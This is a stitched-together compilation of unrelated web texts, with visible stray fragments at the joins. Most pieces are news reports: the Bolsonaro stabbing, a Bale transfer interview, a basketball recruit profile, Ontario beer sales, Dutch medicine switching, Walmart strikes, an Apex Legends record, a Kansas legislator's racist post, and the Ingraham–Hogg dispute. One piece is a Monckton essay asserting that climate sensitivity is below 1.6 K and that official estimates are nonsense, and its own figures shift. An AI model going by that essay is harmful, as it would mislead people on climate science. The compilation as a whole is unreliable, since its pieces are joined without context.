The political scientist thinks that once the commotion of the attack passes, voters may soberly think about the roots of the political polarization and aggressive rhetoric that has engulfed Brazil.
“Jair Bolsonaro is a symbol of that process,” Melo said. “Voters may be awakened to the thought that politicians who propose loosening gun laws, for example, end up giving unbridled power to crazy people, like the man who carried out the attack yesterday.”
LITTLE TIME
Bolsonaro was stabbed while being carried on someone’s
shoulders in a crowd of cheering supporters in the city of Juiz de Fora.
TV pictures showed him screaming in pain, then falling
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backward into the arms of those around him.
Police video taken at a precinct showed suspect Adelio Bispo de Oliveira telling police he had been ordered by God to carry out the attack.
Speaking earlier in an online video from hospital in Juiz de Fora, Bolsonaro said the pain of the attack at first was like being hit by a soccer ball.
“It was intolerable and it seemed like maybe something worse was happening,” he said, talking in a weak, raspy voice with a tube in his nose and monitors beeping nearby. “I was preparing for this sort of thing. You run risks.”
Bolsonaro was stabilized and in the intensive care unit at the Einstein hospital in Sao Paulo on Friday.
Dr. Luiz Henrique Borsato, who operated on the candidate, said the internal wounds were “grave” and “put the patient’s life at risk” but that he was stable. Doctors were worried about an infection since Bolsonaro’s intestines were perforated.
Bolsonaro likely needs to spend at least a week in the hospital. Being unable to campaign any more would seriously damage his run.
Bolsonaro’s tiny coalition has almost no campaign time on government-regulated candidate commercial blocs on television and radio. He must rely on social media and, until now, raucous rallies around the country to drum up support.
Running as the law-and-order candidate, Bolsonaro has positioned himself as the anti-politician, though he has spent nearly three decades in Congress.
He has long espoused taking a radical stance on public security in Brazil, which has more homicides than any other country, according to U.N. statistics, and has openly praised Brazil’s military dictatorship, which he has said should have killed more people.
Bolsonaro has stirred controversy with comments denigrating women, gay, black and indigenous people.
During 2016 impeachment proceedings against former leftist President Dilma Rousseff, who was jailed and tortured during Brazil’s military dictatorship in the 1970s, Bolsonaro dedicated his vote to the colonel in charge of the prison where she was jailed for three years and tortured.
In 2003, Bolsonaro pushed a congresswoman and told her: “I would never rape you because you do not deserve it.” He repeated the comment in 2014 in the chamber and as a result is facing trial for inciting rape.
Bolsonaro has called the charges politically motivated.
His stabbing is the latest instance of political violence, which is particularly rampant at the local level. Earlier this year, Marielle Franco, a Rio city councilwoman who was an outspoken critic of police violence against slum residents, was assassinated. | {
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Capello hails Spurs bargaining over Bale
Russia manager Fabio Capello has praised Tottenham for the way in which they pushed up the price for Gareth Bale before selling him to Real Madrid in the summer.
• Bale injury 'exaggerated'
In an interview with Corriere della Sera, Capello claimed Spurs sat back and allowed a bidding war to ensue, resulting in a world-record transfer fee being paid for the Wales international.
And the former England manager also suggested that the North London club could have earned even more money with Manchester United prepared to stump up a sizeable sum for the forward.
“There was an auction and I know that somebody offered more than Real, going as high as 120 million euros,” Capello said. “I don’t think I’m revealing any secrets when I say that it was Manchester United. Compliments to Spurs, who were very clever.”
No Italian club participated in the Bale auction, with Capello once again underlining the gulf opening up between Serie A and Europe’s leading leagues -- the Premier League, La Liga and Bundesliga.
Capello’s former clubs Juventus and AC Milan will attempt to bridge that gap in Champions League clashes with Real Madrid and Barcelona respectively this week.
But while the sides can expect to play on similar playing fields, the economic factors of the two leagues are far from being on a par.
“It’s an uneven battle in favour of the Spaniards,” Capello said. “You just have to look at the last transfer window. They are already at the highest level, yet they carry on buying and improving, like it used to be with Milan, Inter and Juve in the old days. It’s all about finances: there are those who can, and those who can’t. It’s all about resources.
“When [Milan president Silvio] Berlusconi had the chance to intervene, he would do so. Now, with all he’s got to pay [Carlo] De Benedetti [due to a lost fraud case], and with the Italian crisis, he’s still doing all he can for Milan.” | {
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The first in a five-part series looking at some of Canada's top up-and-coming basketball talent.
Long before Trey Lyles was a top NCAA basketball recruit headed off to the University of Kentucky, he was spending five to six hours a day on the court with his father Tom at the Armstrong Pavilion, a community centre near the family’s home in Indianapolis.
He was only in middle school then and his dad vividly remembers their daily routine, which often began with a one-hour workout on the court at 6 a.m. before Trey went to school, and ended with another trip to the gym after dinner.
“Some of those mornings I didn’t want to get up,” Tom Lyles recalled in a recent phone interview. “[Trey would] come into my room and ask, ‘dad are we going to the gym this morning?’ And I couldn’t say no even though I wanted to . . . It became the norm for him.
“He picked up on the game pretty quickly. He’d ask a lot of questions. The good thing about he and I is our relationship is so close; we’re so much more than father and son. We’d spend a lot of time talking and a lot of time just sitting down watching old school basketball footage . . . He loves going back and watching Bob Cousy, Kareem Abdul-Jabbar, of course [Michael] Jordan, Scotty Pippen [and] Hakeem Olajuwon.”
Basketball hasn’t always been Trey’s passion, though. Born in Saskatoon the 6-foot-10 Lyles grew up, like many other Canadians do, playing hockey – he was a goalie – and baseball.
It wasn’t until the family moved to Indiana when he was seven years old that his dad, who has a deep background in basketball having played overseas and in Canada, began taking him to the court and teaching him the fundamentals of the game. They’d often spend nights during the week at a local park practicing dribbling and shooting in the dark.
“My philosophy there was if you can get to the point where you can’t see the net all that well and still make that shot consistently based on your form and or handle the ball without seeing it all that well then we’re going to have some good pieces to work with,” he said
Now 18, Lyles, who was unavailable for comment, is ranked by ESPN as the sixth best NCAA prospect in the 2014 class. In what’s been referred to as the golden age of Canadian basketball, he’s yet another name for fans to keep a watchful eye on.
It started with Tristan Thompson and Cory Joseph, both drafted in 2011. Thompson, selected fourth overall by Cleveland, was at the time the first Canadian too be taken that high in the draft.
They were followed by Andrew Nicholson in 2012 and Anthony Bennett, the first Canadian to ever be selected No. 1 overall, and Kelly Olynyk in 2013.
This year as many as three Canadians – Andrew Wiggins, Nik Stauskas and Tyler Ennis – are expected to be selected in the first round alone with Wiggins being the player many have at the top of their mock drafts.
Lyles is coming off a memorable year with the Arsenal Tech Titans, where his father served as the team’s assistant coach. He helped the high school to its first ever state title, was named a McDonalds All-American and the top high school player in Indiana, an award that’s been won by a handful of current and former NBA players including Greg Oden, Eric Gordon and Glenn Robinson.
Being Canadian born has also brought upon opportunities for Lyles to represent Canada on the international stage. He donned the red and white at both the under-19 world championships in 2013, where he finished third in tournament scoring, and the under-18 world championships in 2012 when Canada captured a bronze medal.
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By Christopher Monckton of Brenchley
Skeptics 1, Fanatics 0. That’s the final score.
The corrected mid-range estimate of Charney sensitivity, which is equilibrium sensitivity to doubled CO 2 in the air, is less than half of the official mid-range estimates that have prevailed in the past four decades. Transient sensitivity of 1.25 K and Charney sensitivity of 1.45 K are nothing like enough to worry about.
This third article answers some objections raised as a result of the first two pieces. Before I give some definitions, equations and values to provide clarity, let me make it plain that my approach is to accept – for the sake of argument only – that everything in official climatology is true except where we have discovered errors. By this acceptance solum ad argumentum, we minimize the scope for futile objections that avoid the main point, and we focus the discussion on the grave errors we have found.
Definitions
All definitions except that of temperature feedback are mainstream. I am including them in the hope of forestalling comments to the effect that there is no such thing as the greenhouse effect, or that temperatures (whether entire or delta) cannot induce feedbacks. If you are already well versed in climatology, as most readers here are, skip this section except for the definition of feedback, where climatology is at odds with mainstream feedback theory.
Greenhouse gases possess at least three atoms in their molecules and are thus capable of possessing or, under appropriate conditions, acquiring a dipole moment that causes them to oscillate in one of their vibrational modes and thus to emit heat.
Carbon dioxide (CO 2 ), being symmetrical, does not possess a dipole moment, but acquires one in its bending vibrational mode on interacting with a near-infrared photon. To use Professor Essex’s excellent analogy, when a greenhouse gas meets a photon of the right wavelength it is turned on like a radiator, whereupon some warming must by definition occur.
The non-condensing greenhouse gases exclude water vapor.
Water vapor, the most significant greenhouse gas by quantity, is a condensing gas. All relevant changes in its atmospheric burden are treated as temperature feedbacks. Its atmospheric burden is thought to increase by 7% per Kelvin of warming in accordance with the Clausius-Clapeyron relation (Wentz 2007).
Emission temperature would obtain at the Earth’s surface if there were no non-condensing greenhouse gases or feedbacks present. Emission temperature is a function of insolation, albedo and emissivity (assumed to be unity), and of nothing else. As non-condensing greenhouse gases and feedbacks warm the atmosphere, the altitude at which the emission temperature obtains rises.
Radiative forcing (in W m–2) is an exogenous perturbation in the net (down minus up) radiative flux density at the top of the atmosphere. Forcings become warmings via –
The Planck sensitivity parameter (in K W–1 m2: Roe 2009), the quantity by which a radiative forcing is multiplied to yield the reference sensitivity. To a first approximation, it is the first derivative of the fundamental equation of radiative transfer with respect to the Earth’s emission temperature and emission flux density. Its value is thus dependent on insolation and albedo. The first derivative is the change in temperature per unit change in flux density, i.e., at today’s values 255.4 / (4 x 241.2) = 0.27 K W–1 m2. However, owing to altitudinal variation, the modeled value today is 0.31 = 3.2–1 K W–1 m2 (IPCC 2007, p. 631 fn.).
Temperature feedback (in W m–2 K–1), an additional forcing proportional to the temperature that induces it, in turn drives a feedback response (in K) that modifies the originating temperature. This definition of a feedback as a modification of a signal (not merely of a change in the input signal but also of the input signal itself) is standard in all applications of control theory except climatology, where it has been near-universally but falsely imagined that an input signal (emission temperature in the climate) does not induce a feedback, even where feedback processes are present and will modify even the tiniest change in that signal. It is this error that has misled official climatology into overestimating climate sensitivities.
Models do not implement feedback math explicitly. However, their outputs are routinely calibrated against past climate. Paper after paper incorrectly states that the entire 33 K difference between today’s surface temperature of 288 K and the emission temperature of 255 K that would prevail today in the absence of greenhouse gases or of feedbacks is driven by the directly-forced warming from the non-condensing greenhouse gases and the feedbacks induced by that warming.
For instance, Lacis (2010) says that three-quarters of the difference between emission temperature and today’s temperature is the feedback response to the non-condensing greenhouse gases: i.e, that the feedback fraction is 0.75, which, given the CMIP5 reference sensitivity of 1.1 K (Andrews 2012) would yield Charney sensitivity of 4.4 K. Sure enough, the CMIP5 models’ feedback fraction, at 0.67, is close to Lacis’ value, implying Charney sensitivity of 3.3 K. It will be proven that there is no justification whatever for mid-range estimates anything like this high. They arise solely because the models have been tuned over the decades to yield Charney sensitivities high enough to account for the entire 33 K.
Reference sensitivity is the temperature change in response to a radiative forcing before taking feedbacks into account.
is the temperature change in response to a radiative forcing before taking feedbacks into account. Equilibrium sensitivity, the warming expected to occur within a policy-relevant timeframe once the climate has resettled to equilibrium after perturbation by a radiative forcing (such as doubled CO 2 concentration) and after all temperature feedbacks of sub-decadal duration have aced, may be somewhat larger than –
the warming expected to occur within a policy-relevant timeframe once the climate has resettled to equilibrium after perturbation by a radiative forcing (such as doubled CO concentration) and after all temperature feedbacks of sub-decadal duration have aced, may be somewhat larger than – Transient climate sensitivity , the warming expected to occur immediately in response to a forcing. The chief reason for the difference is the delay occasioned by the vast heat-sink that is the ocean.
, the warming expected to occur immediately in response to a forcing. The chief reason for the difference is the delay occasioned by the vast heat-sink that is the ocean. Charney sensitivity, named after Dr Jule Charney, is equilibrium sensitivity to doubled CO 2 .
Zero-dimensional-model equation relates reference and equilibrium sensitivities or temperatures via the feedback fraction, which accounts for the entire difference between them. Control theory in all applications except climatology uses both forms of (1) and of its rearrangement, (2), but climatology has not hitherto appreciated that the right-hand form of each equation is permissible. For this reason, it has failed to accord sufficient – or in most instances any – weight to the feedback response that arises from the presence of emission temperature. As a result of this grave error, official climatology has greatly overestimated the feedback fraction and hence all transient and equilibrium climate sensitivities.
Input variables
Input variables are from official sources. Net industrial-era anthropogenic radiative forcing to 2011 was 2.29 W m–2 (IPCC 2013, table SPM.5); the Planck sensitivity parameter is 3.2–2 K W–1 m2 (IPCC 2007, p. 631 fn.); the radiative energy imbalance to 2010 was 0.59 W m–2 (Smith 2015); industrial-era warming to 2011 was 0.75 K (least-squares trend on the HadCRUT4 monthly global mean surface temperature anomalies, 1850-2011: Morice 2012); and the radiative forcing at CO 2 doubling is 3.5 W m–2 (Andrews 2012); the Stefan-Boltzmann constant is 5.6704 x 10–8 W m–2 K–4 (Rybicki 1979); albedo without non-condensing greenhouse gases or feedbacks would be 0.418 (Lacis 2010); global mean surface temperature without greenhouse gases would be 252 K (ibid.); and today’s global mean surface temperature is 288.4 K (ISCCP 2016).
Mid-range industrial-era Charney sensitivity
Now for the simplest proof of small Charney sensitivity. Net industrial-era manmade forcing to 2011 was 2.29 W m–2, implying industrial-era reference warming 2.29 / 3.2 = 0.72 K. The radiative imbalance to 2010 was 0.59 W m–2. Warming has thus radiated 2.29 – 0.59 = 1.70 W m–2 (74.2%) to space. Equilibrium warming to 2011 may thus prove to have been 34.7% greater than the observed 0.75 K industrial-era warming to 2011. The feedback fraction for transient sensitivity is then f = 1 – 0.716 / 0.751 = 0.047, so that transient climate sensitivity is 1.09 / (1 – 0.047) = 1.15 K. Industrial-era f for equilibrium sensitivity is 1 – 0.716 / (0.751 x 1.347) = 0.29, implying Charney sensitivity 1.09 / (1 – 0.29) = 1.55 K.
That’s it. Charney sensitivity is less than half of the 3.3 K mid-range estimate in the CMIP3 and CMIP5 general-circulation models, distorted as they are by the long-standing misallocation of all 33 K of the difference between today’s temperature and emission temperature to greenhouse-gas forcings and consequent feedbacks.
Mid-range pre-industrial Charney sensitivity
To show how official climatology’s grave error arose, we shall study how it has been apportioning that 33 K difference between today’s temperature and emission temperature.
Lacis (2010) estimated albedo without greenhouse gases as 0.418, implying emission temperature [1364.625(1 – 0.418) / (4σ)]0.25 = 243.26 K (Stefan-Boltzmann equation, with unit emissivity). However, Lacis estimated the global mean surface temperature without non-condensing greenhouse gases as 252 K, implying a small feedback response to emission temperature, arising from melting equatorial ice and about 10% of the current atmospheric burden of water vapor. That 10% value can be obtained from the 7% per Kelvin increase in water vapor found in Wentz (2007): thus, 100 / 1.0733 = 10.7.
Global temperature in 1850 was 287.6 K. The 35.6 K difference between 287.6 and 252 K was given as 25% [8.9 K] directly-forced warming from the naturally-occurring, non-condensing greenhouse gases and 75% [26.7 K] feedback response to that greenhouse warming. However, if the feedback fraction f over Lacis’ 50-year study period were constant, for transient sensitivity f would be 1 – (243.26 + 8.9) / 287.6 = 0.123, and transient sensitivity itself would be 1.09 / (1 – 0.123) = 1.25 K. If an energy imbalance in 1850 might eventually increase that year’s temperature by 10%, then f = 1 – (243.26 + 8.9) / (287.6 x 1.1) = 0.203. Charney sensitivity would then be 1.09 / (1 – 0.203) = 1.4 K.
In Lacis, the 44.2 K difference between emission and 1850 temperatures comprises 8.7 K (3.6%) feedback response to the 243.3 K emission temperature and, since Lacis takes transient-sensitivity f = 0.75, directly-forced greenhouse warming of 8.9 K inducing 26.6 K (300%) feedback response. Thus, Lacis imagines the feedback responses to emission temperature and to direct greenhouse warming are 3.6% and 300% respectively of the underlying quantities, which is absurd. What is more, Lacis says that the feedback fraction 0.75 applies also to “current climate”, an explicit demonstration that climatology’s error leading to overstatements of equilibrium sensitivity in the models arose from its neglect of the large feedback response to emission temperature.
Our corrected method finds transient-sensitivity f a lot less that Lacis’ 0.75. It is just 0.123. Then the 44.2 K difference between 1850 temperature and emission temperature comprises 243.3 f / (1 – f) = 34.1 K feedback response to emission temperature; 8.9 K directly-forced greenhouse warming; and 8.9 f / (1 – f) = 1.2 K feedback response to direct greenhouse warming. Thus, feedback responses to emission temperature and direct greenhouse warming are identical at f / (1 – f) = 14% of the underlying quantities.
In practice, ice-melt would steadily reduce the ice-covered surface area, reducing the surface-albedo feedback and hence the overall feedback fraction, though that effect might be largely canceled by increased water vapor and cloud feedback. The assumption of a uniform feedback fraction throughout the transition from emission temperature to 1850 temperature is, therefore, not unreasonable. Other apportionments might be made: but it would not be reasonable to make apportionments anywhere close to those of Lacis or of the CMIP models.
Note how well the industrial and pre-industrial sensitivities cohere, and how very much smaller they are than official climatology’s 0.67-075. The corrected industrial-era values, just 1.25 K transient sensitivity and 1.55 K equilibrium sensitivity, necessarily follow from the stated official definitions and values. In my submission, it is no longer legitimate for official climatology to maintain that the mid-range estimate of Charney sensitivity is anything like as high as the CMIP3/CMIP5 models’ 3.3 K.
Certainty about uncertainties
What of the uncertainties in our result? Some of the official input values on which we have relied are subject to quite wide error margins. However, because our mid-range estimate of Charney sensitivity is low, occurring at the left-hand end of the rectangular-hyperbolic curve of Charney sensitivities in response to various values of the feedback fraction, the interval of plausible sensitivities is nothing like as broad as the official interval, which I shall now demonstrate to be a hilarious fiction.
The Charney report of 1979, echoed by several IPCC Assessment Reports, gives a Charney-sensitivity interval 3.0 [1.5, 4.5] K. The 2013 Fifth Assessment Report retains the bounds but no longer dares to state the mid-range estimate, for a reason that I shall now reveal.
By now it will be apparent to all that the chief uncertainty in deriving transient or equilibrium sensitivities is the value of the feedback fraction. I found it curious, therefore, that IPCC did not derive its mid-range estimate of Charney sensitivity from the mean of the bounds of the feedback fraction’s interval. The mismatch is quite striking (see below)
IPCC’s mid-range Charney sensitivity 3.0 K implies a feedback fraction 0.61, which is three times closer to the upper bound 0.74 than to the lower bound 0.23. If IPCC had derived its mid-range Charney sensitivity from a value of the feedback fraction midway between the bounds, its 3 K mid-range estimate would have fallen by an impressive 0.75 K to just 2.25 K:
How, then, did IPCC come to imagine that mid-range Charney sensitivity could be as high as 3 K? The Charney Report of 1979, the first official attempt to derive Charney sensitivity, provides a clue. On p. 9, Charney found that the interval was 2.4 [1.6, 4.5] K, implying a feedback fraction close enough to the mean of its bounds. However, by p. 16 he had decided that his eponymous interval was “in the range 1.5-4.5 K, with the most probable value near 3 K”. Why did he go for 3 K? And why did IPCC and CMIP5 remain in that ballpark for four decades? Perhaps it was because, owing to their error, they could not otherwise account for the 33 K difference between emission temperature and present-day temperature.
Be that as it may, where (a) the feedback fraction is defined as 1 minus the ratio of reference to equilibrium temperature (Eq. (2)), where (b) the mid-range value of the feedback fraction is the mean of the bounds of its interval, and where (c) the mid-range estimate of equilibrium sensitivity is twice the lower-bound estimate, the upper bound of the feedback fraction must be unity. Then the upper bound of equilibrium sensitivity will fall precisely on the singularity in the rectangular-hyperbolic response curve, and will therefore be somewhere between plus and minus infinity (see above). This is definitive evidence that the supposed Charney-sensitivity interval 3.0 [1.5, 4.5] K is nonsense, and that all attempts to ascribe a statistical confidence interval to it are likewise nonsense.
Is our mid-range estimate of Charney sensitivity reasonable?
Rud Istvan, in one of many interesting comments on the earlier articles, says Lewis & Curry (2014) found transient and equilibrium sensitivities to be 1.3 K and 1.65 K respectively, implying that Charney sensitivity is 1.25 times transient sensitivity, not 1.37 times as I calculated earlier. In that event, the feedback fraction is 1 – 0.716 / (0.751 x 1.25) = 0.237, implying Charney sensitivity 1.09 / (1 – 0.237) = 1.45 K, similar to the 1.5 K in Lewis 2015.
Rud offers the following interesting confirmatory method. In IPCC (2013), the mid-range estimates of the sub-decadal temperature feedback sum is 1.6 W m–2 K–1, since the feedbacks other than the water-vapor feedback sum to zero. Multiplying the feedback sum by the Planck parameter gives a mid-range feedback fraction 0.5 (Table 1). Note in passing that, as discussed earlier, the upper-bound feedback fraction works out at the absurd value 1.0.
Rud goes on to point out that, as several papers show, the CMIP5 models produce about half the observed rainfall, implying that the modeled water-vapor feedback is double the true value. Therefore, he says, the true feedback fraction is half the CMIP5 models’ estimate. That means 0.25, giving a Charney sensitivity of 1.09 / (1 – 0.25) = 1.45 K.
I shall let Rud Istvan have the last word:
“This is not coincidental. The ‘best’ Charney sensitivity, whether calculated using the energy budget, or observed v. modeled via Bode’s feedback fraction f, is half of the ‘best estimate’ in IPCC (2007). I agree with Christopher Monckton of Brenchley. It’s game over.”
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Perhaps it was not the best way to start a conversation.
On Monday morning, as a handful of microbreweries were setting up for a beer tasting at Evergreen Brick Works, Premier Kathleen Wynne was spotted walking through the building, en route to the outdoor skating rink.
“Why do you hate Ontario craft brewers?” Jason Fisher, who owns Indie Alehouse Brewing, a small outfit in the Junction neighbourhood, called out.
Fisher, who recalled the incident a few hours later, can’t be sure the premier heard him as she breezed by. But his pitch for reforming beer sales — and tapping the burgeoning market for craft beer — was ready.
“I would have said, ‘If you’re interested in creating jobs that aren’t minimum wage, Ontario craft breweries are booming,’ ” Fisher said. “If it was a little easier to open and a little easier to distribute, you could easily create 10,000 jobs.”
Fisher’s overture (however unsuccessful) reflects the mounting frustration among purveyors and consumers of refined suds. As debate intensifies over broadening beer sales beyond the government-run LCBO and foreign-owned Beer Store, this niche — but growing — market is eager to weigh in.
Despite her apparent silence on the issue Monday, Wynne said last week she is in talks with the craft brewing industry about how to “modernize beer distribution.” Yet the message, uttered loud and clear over rich porters and golden ales at the Brick Works, is that there has to be better way.
Most said they are lukewarm about allowing beer sales in convenience stores, which Wynne has repeatedly said she would not support. But there is one idea that proved popular: Creating specialty craft beer stores.
“Let’s maybe open up another avenue to start promoting local craft — help out some of the smaller businesses in communities around Ontario,” said Phil Craig of Burlington-based Nickel Brook Brewing.
Craig was among many who criticized the foreign ownership at the Beer Store, which is controlled by brewing giants Sleeman, Labatt and Molson.
At the next booth, Troy Burtch said Toronto-based Great Lakes Brewery only stocks one of its beers, Crazy Canuck, at the Beer Store, because of what he sees as lacklustre in-store marketing, and high listing fees.
“A small brewery, you just can’t afford it,” Burtch said.
Spokesman Jeff Newton said the Beer Store has lower listing fees than the LCBO. Two-thirds of the brands it carries are not associated with the owners, and a fifth of those are craft beers, he said. “It’s owned by three brewers, but it’s operated on the basis that it’s accessible to everybody.”
Wynne’s office reiterated on Monday that conversations are ongoing with the craft brewing industry to “help them grow their business and improve their distribution as we have done with the wine industry.” No further details were provided.
At the Brick Works, Toronto resident Mike Neri, who was sampling a dark IPA from Amsterdam Brewery, aptly named “Rebecca Black,” said he hopes these brews will soon be easier to get.
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“It’s nice to have some choice, and the LCBO doesn’t always have choice,” he said.
With files from Rob Ferguson
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Aan de enquête deden bijna 2000 chronisch zieke mensen mee die minstens één keer van vast medicijn hebben moeten wisselen. De antwoorden wijzen volgens de organisaties uit dat de wisselingen leiden tot onrust en onnodige gezondheidsklachten.
Ruim een op de drie respondenten voelt zich zieker of ongezonder na de medicijnwissel. Zo zeggen ze meer last van bijwerkingen te hebben. Ook zijn er patiënten die in de war raken omdat ze het nieuwe medicijn op een andere manier moeten toedienen. Bijna een kwart zegt extra medisch onderzoek te hebben moeten ondergaan nadat ze aan het nieuwe medicijn waren begonnen.
Lijst
Volgens Longfonds-directeur Rutgers zijn de problemen al jaren bekend, maar worden ze niet serieus genomen. "Terwijl het een enorme impact op het dagelijks leven van de patiënten heeft."
De patiëntenorganisaties willen dat er een lijst komt van geneesmiddelen waarbij niet mag worden gewisseld omdat overstappen vaak tot problemen leidt. Ze willen daarover afspraken maken met alle betrokken partijen.
Meerjarencontracten
Minister Bruins voor Medische Zorg zegt in een reactie dat er al wordt gewerkt aan een lijst van ziekten en medicijnen waarbij wisselen al dan niet wordt aangeraden.
Hij wijst erop dat alle medicijnen zijn goedgekeurd op kwaliteit, veiligheid en werkzaamheid. Bovendien sluiten de verzekeraars steeds vaker meerjarencontracten af met fabrikanten, zodat patiënten minder vaak hoeven te wisselen. | {
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Mr. Schlademan said Wal-Mart employees had walked off the job in Dallas, Seattle, Miami, Sacramento and Orlando, Fla., and in the Chicago and Washington areas. Tuesday’s job actions were sponsored by the Organization United for Respect at Walmart, or OUR Walmart, a group of several thousand Walmart employees that is closely affiliated with the United Food and Commercial Workers Union.
“These leaders of OUR Walmart have engaged in a strike to protest Wal-Mart’s retaliation and to send a message to Wal-Mart and their co-workers that they have a right to speak out,” Mr. Schlademan said. “The idea that this is just a publicity stunt is inaccurate.”
He said this week’s events were aimed at pressing Wal-Mart to increase wages, stop cutting workers’ hours and treat employees with respect.
Mr. Tovar said: “We have some of the best jobs in retail. Our full-time average wage is $12.54 an hour, which is $5 above the federal minimum wage.” He said that 300,000 Wal-Mart employees had worked at the company for more than 10 years and that Wal-Mart’s turnover rate was lower than the industry average.
Mr. Tovar said those statistics showed that those who participated in the job action were not representative of Wal-Mart’s 1.4 million employees nationwide.
“It’s no secret that the unions want to organize our associates,” he said. “These protests are union-led and union-funded by unions that are trying to further their own political and financial agenda.”
Julius G. Getman, a labor expert at the University of Texas School of Law, said it can be hard to draw a line between what is a strike and what is publicity. He said the union and OUR Walmart were searching for ways to get Wal-Mart to improve wages and conditions when they see how hard it would be to unionize even a handful of Walmart stores.
“Wal-Mart has so much power — unions typically don’t win those kind of drives,” he said. “They’re groping, they’re planning to find a way to take on Goliath.” | {
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On Tuesday this week, Professional Overwatch player and content creator for the Houston Outlaws, Lucas "Mendokusaii" Håkansson, achieved 36 kills and 5460 damage in a "solo" round of Apex Legends.
While the massively popular Battle Royale gives you teammates regardless of whether you want them or not, Mendokusaii stream was themed around playing "aggro 1v3 plays all night". The goal was to win the game without any assistance.
Mendokusaii primarily used the Wingman pistol and the R99 sub machine gun during the run. He would ruthlessly search the map for players, taking on full squads 1 vs. 3 effortlessly.
It is hard for most players to fathom this being possible considering most of us can hardly survive a round of Apex Legends with a coordinated team, let alone dominate the arena by themselves dealing so much damage and getting so many kills.
The previous solo world record was reportedly held by a player named MrSimple who achieved 34 kills. While one of MrSimple's teammates seemed to die early, it appears that he had a teammate with him that survived to the end of the match. Reportedly, MrSimple also had help from his allies that would occasionally not finish off targets to allow MrSimple to do so.
In comparison, the stricter solo kill world record by Mendokusaii is an especially impressive feat and speaks to Mendokusaii's FPS skill. However, the low skill of his opponents was a definite factor in getting so many kills.
Mendokusaii, while excited about holding the world record, was quick to explain the luck factor in getting so many kills, as well as the vast skill difference between him and his opponents:
"Getting world record is F***ing luck, if you are a decent player, it's just luck. Every single fight I fought was against bots. I just happened to get kills and they didn't just all die randomly, you know? No one fought each other. They were just so bad that they couldn't hit each other. I'm pretty sure I was the only player on the server that could hit a shot."
You can watch the run at Mendukusaii's stream below. The run starts at the 02:34:17 mark.
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Kansas state Rep. Joe Seiwert denounced on Facebook the actions of a woman who took a knee at mid-court to sing the national anthem before an NBA basketball game between the Miami Heat and the Philadelphia 76ers.
Seiwert, a Pretty Prairie Republican seeking re-election against Democrat Clifton Beck, of Wichita, commented under a photo of performer Denasia Lawrence and a headline that said, "I’m so sick of these anti-American blacks — f--- Black Lives Matter." The actual post didn’t delete letters from the offending word.
"Go back to where you claim home," Seiwert said on the Facebook thread. "So, if they don’t like it here, I believe that their freedom completely allows them to go wherever they believe is more fair and non-racist."
In an interview Tuesday, Seiwert said he didn’t view his remarks as racist. He said the intent was to stand up for the U.S. flag and to honor military service members who sacrificed for the country. People who don’t like their job get another, or get divorced when they are in a bad relationship, he said. He said he didn’t see the derogatory headline about Black Lives Matter until after he had posted to Facebook. Most of the reaction to his comments was positive, he said.
"I’m not a racist. I believe in freedom," he said. "It offends me when people disrespect the flag. If unhappy, move to somewhere where you’re happy."
Beck, Seiwert’s opponent, said the Facebook remarks reflected Seiwert’s previous conduct. Six years ago, Seiwert forwarded an email that asserted Muslims couldn’t be good Americans.
"It is absurd and offensive that Rep. Seiwert cannot differentiate between someone protesting their treatment in the United States versus protesting the United States," the Democratic nominee said. "Attitudes like this are what prevent communities coming together and allows for tensions that can result in racial biases and homegrown terrorists like we’ve seen recently in Kansas."
Beck said the way Black Lives Matter participants worked in collaboration with agencies that included the Wichita Police Department should be honored because it served to "build up our community and bridge that gap."
During Lawrence’s anthem protest Friday, she opened her jacket to reveal a shirt that read "Black Lives Matter." Her actions were a variation of protests that have punctuated U.S. sporting events in ways designed to highlight what activists believe to be unfair treatment of minorities by law enforcement officers.
Seiwert said in the interview that Americans disenchanted with their life could move to another state or, for example, Canada, Mexico or Europe.
Free speech rights shouldn’t be sacrificed simply because a person is running or serving in political office, Seiwert said. In the Facebook thread, Seiwert replied to a person who questioned why critics of Lawrence would challenge her right to protest.
"Am I supposed to give up all my freedom of speech when I’m running," Seiwert wrote.
During the 2015 session of the Legislature, Seiwert testified on behalf of a House bill that would have made it illegal for public college and university faculty in Kansas to use academic titles when contributing to newspaper opinion columns or letters to the editor.
Seiwert said he advocated for the bill, which didn’t pass, after a constituent complained it was unfair for employees of taxpayer-supported agencies to be "bashing legislators, legislative policy." He said at that time businesses such as John Deere and AT&T didn’t allow employees to use a company title when offering political commentary without management permission.
In 2010, Seiwert forwarded to about 40 people an email on a personal account that asserted Muslims couldn't be good Americans because each owed allegiance to Islam.
Seiwert has served in the Legislature since 2009 and currently represents Pretty Prairie, Yoder and Haven in Reno County, as well as Garden Plain and parts of Wichita and Goddard in Sedgwick County. | {
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A US television chat show host who mocked a leading gun control campaigner has announced she is taking a week-long break from her programme.
Florida school massacre survivor David Hogg and Fox News presenter Laura Ingraham continued their public war of words as she revealed she was taking Easter week off following calls for her to quit the show.
Mr Hogg said on Friday she should resign for “trying to distract from the real issue” when she accused him of “whining” over being rejected by four colleges.
Within hours, Ms Ingraham announced at the end of her show that a “great line-up” of guest hosts would stand in for her for a week while she spent time with her children.
A Fox News spokesperson insisted the holiday was “pre-planned vacation with her kids”.
The student of Marjorie Stoneman Douglas High School in Parkland, Florida, tweeted that she should “have some healthy reflections this Holy Week”.
The host of the Ingraham Angle show had apologised to Mr Hogg for mocking his college rejections after seven companies took Mr Hogg up on his suggestion that they pull their advertising from her show.
He rejected her apology yesterday, and said it was “great” that corporate America was standing behind him and fellow pupils who were standing up for gun reform.
Nikolas Cruz has been charged with 17 counts of premeditated murder over the Valentine’s Day school shooting.
Mr Hogg, who launched a high-profile campaign for gun control, had suggested that advertisers boycott the show, and Ms Ingraham was accused of being a “cyber-bully”.
Nestle US, Hulu, Nutrish, TripAdvisor, Expedia, Wayfair and Johnson & Johnson all cancelled their adverts.
Ms Ingraham then issued an apology, saying: “Any student should be proud of a 4.2 GPA.” She added: “On reflection, in the spirit of Holy Week, I apologize for any upset or hurt my tweet caused him or any of the brave victims of Parkland.” | {
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I like my Girls like I like Square Roots of Negative Numbers Not Real
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Smoke from dozens of forest fires billowed over central Chile in January 2017. A heat wave, coupled with strong winds, spread the flames on January 20, prompting President Michelle Bachelet to declare a state of emergency in some areas.
On January 20, 2017, the Moderate Resolution Imaging Spectroradiometer (MODIS) on NASA’s Terra satellite acquired an image of brown smoke billowing from a cluster of fires near the coastal city of Pichilemu. Red outlines indicate areas with heat signatures indicative of active burning. Smoke plumes stretch northward and over the Pacific Ocean. The second, wider view (below), acquired by Terra on January 21, shows fires spread across the region. Far to the north and west, brown smoke hovers over marine clouds.
